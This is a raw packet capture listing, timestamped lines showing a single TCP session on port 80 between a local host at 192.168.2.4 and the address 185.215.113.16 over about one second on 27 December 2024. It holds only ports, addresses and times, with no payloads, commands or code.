Dec 27, 2024 15:04:15.426215887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.426265001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.473807096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.473865986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.473923922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.474153996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.474255085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.474291086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.474728107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.474854946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.474899054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.475595951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.475681067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.475723028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.514770031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.514856100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.514928102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.515167952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.515285969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.515326977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.516050100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.516160965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.516235113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.516942024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.517123938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.517160892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.517704010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.517828941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.517878056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.518637896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.518682957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.518723965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.519553900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.519700050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.519742966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.528178930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.528259039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.528306961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.528626919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.528639078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.528685093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.529453039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.548930883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.548983097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.549001932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.549251080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.549302101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.549367905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.550134897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.550205946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.550297976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.550985098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.551029921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.551155090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.551861048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.551906109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.599841118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.600003004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.600058079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.600188971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.600202084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.600240946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.600862026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.601051092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.601165056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.601701021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.639266968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.639281988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.639341116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.639530897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.639564991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.639581919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.640436888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.640481949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.640512943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.641377926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.641416073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.641419888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.642196894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.642241001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.642559052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.642640114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.642677069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.643425941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.643538952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.643572092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.644361019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.652802944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.652816057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.652856112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.653207064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.653248072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.653315067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.654076099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.654131889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.673038960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.673059940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.673108101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.673340082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.673458099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.673502922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.673540115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.674374104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.674429893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.674549103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.675261021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.675301075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.675301075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.684143066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.684165001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.684185982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.722549915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.722600937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.722639084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.722956896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.723001957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.723017931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.723520041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.723572969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.723642111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.724512100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.724524021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.724558115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.763309002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.763382912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.763386011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.763711929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.763752937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.763789892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.763881922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.763922930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.764313936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.764486074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.764527082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.765235901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.765327930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.765372992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.766089916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.766239882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.766284943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.766733885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.766875029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.766912937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.767750025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.767801046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.767842054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.776812077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.776988983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.777035952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.777172089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.777326107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.777365923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.777393103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.778156996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.778213978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.797518015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.797570944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.797629118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.797894955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.797960043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.798005104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.798439026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.798621893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.798674107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.799376011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.799493074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.799540997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.800226927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.800373077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.800431013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.847229004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.847343922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.847417116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.847672939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.847781897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.847826958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.848520041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.848599911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.848644018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.849221945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.849315882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.849366903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.850068092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.850215912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.850260019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.887722015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.887856007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.887912989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.888057947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.888154984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.888197899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.888279915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.889185905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.889199018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.889266968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.889745951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.889800072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.889832973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.890727997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.890738010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.890808105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.891185045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.891196966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.891232014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.891997099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.892051935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.892086029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.901242018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.901300907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.901324987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.901616096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.901659966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.901743889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.902478933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.902525902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.922029972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.922137022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.922184944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.922499895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.922585011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.922627926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.923326969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.923446894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.923494101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.924258947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.924361944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.924411058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.925105095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.968322992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.971710920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.971890926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.971950054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.972090006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.972243071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.972289085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.972351074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.973184109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.973227024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.973238945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.973979950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.974031925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:15.974101067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.974992037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:15.975079060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.011843920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.011920929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.011993885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.012191057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.012461901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.012509108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.012562037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.013221979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.013278961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.013310909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.014173031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.014209986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.014235020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.014971972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.015024900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.015232086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.015342951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.015383005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.016165018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.027204037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.027215004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.027296066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.027324915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.027375937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.027405977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.028263092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.028314114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.028315067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.046103001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.046176910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.046212912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.046509981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.046565056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.046633005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.046834946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.046881914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.047584057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.047683954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.047768116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.048430920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.048525095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.048567057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.049288988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.049429893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.049477100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.050204039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.093347073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.096225023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.096312046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.096376896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.096636057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.096807957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.096857071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.097501993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.097625971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.097707987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.098397017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.098464966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.098507881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.099242926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.136107922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.136198044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.136284113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.136451006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.136498928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.136856079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.136953115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.137002945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.137490034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.137553930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.137599945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.138407946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.138451099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.138500929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.139353991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.139537096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.139592886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.139894962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.139988899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.140033007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.150140047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.150285006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.150360107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.150567055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.150701046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.150747061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.170479059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.170651913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.170720100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.170804024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.170964003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.171000004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.171015978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.171454906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.171504021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.171559095 CET	80	49743	185.215.113.16	192.168.2.4
